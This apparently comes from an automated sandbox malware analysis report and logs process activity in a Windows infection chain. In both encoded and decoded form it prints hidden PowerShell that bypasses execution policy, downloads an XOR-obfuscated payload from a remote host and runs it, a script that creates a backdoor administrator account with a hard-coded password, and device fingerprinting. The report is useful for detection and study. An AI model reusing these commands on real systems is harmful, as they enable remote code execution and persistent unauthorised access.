Source: powershell.exe, 0000000C.00000002.4298843299.000001DD80C0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000C.00000002.4857638281.000001DDEEFE4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllO
Source: powershell.exe, 0000000C.00000002.4298843299.000001DD80C0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
Source: svchost.exe, 00000014.00000002.5357568309.000002B707423000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000C.00000002.4298843299.000001DD80C0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: svczHost.exe, 00000015.00000002.5353192374.0000020911CB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 00000008.00000002.4010996899.00000200F1189000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllhh

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\svczHost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\myRdpService.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\myRdpService.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process powershell -WindowStyle hidden -ArgumentList "-WindowStyle Hidden", "-NoLogo", "-NoProfile", "-ExecutionPolicy Bypass", "-EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded IEX ([TEXT.ENcODiNG]::UTF8.GeTStrINg((IWr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly9jb2NvbWV0aG9kZS5kZS9mYko1ZXg=")))).COntent))
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens \| ForEach-Object { "$($_.Bounds.Width)x$($_.Bounds.Height)" } \| Out-File -FilePath "C:\Windows\Temp\dp"
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded get-service "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process powershell -WindowStyle hidden -ArgumentList "-WindowStyle Hidden", "-NoLogo", "-NoProfile", "-ExecutionPolicy Bypass", "-EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded IEX ([TEXT.ENcODiNG]::UTF8.GeTStrINg((IWr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly9jb2NvbWV0aG9kZS5kZS9mYko1ZXg=")))).COntent))	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded get-service "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens \| ForEach-Object { "$($_.Bounds.Width)x$($_.Bounds.Height)" } \| Out-File -FilePath "C:\Windows\Temp\dp"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF0C.tmp" "c:\Users\user\AppData\Local\Temp\myainnc2\CSC6AA9D23DB1D446FF89BA3B754739F41D.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuA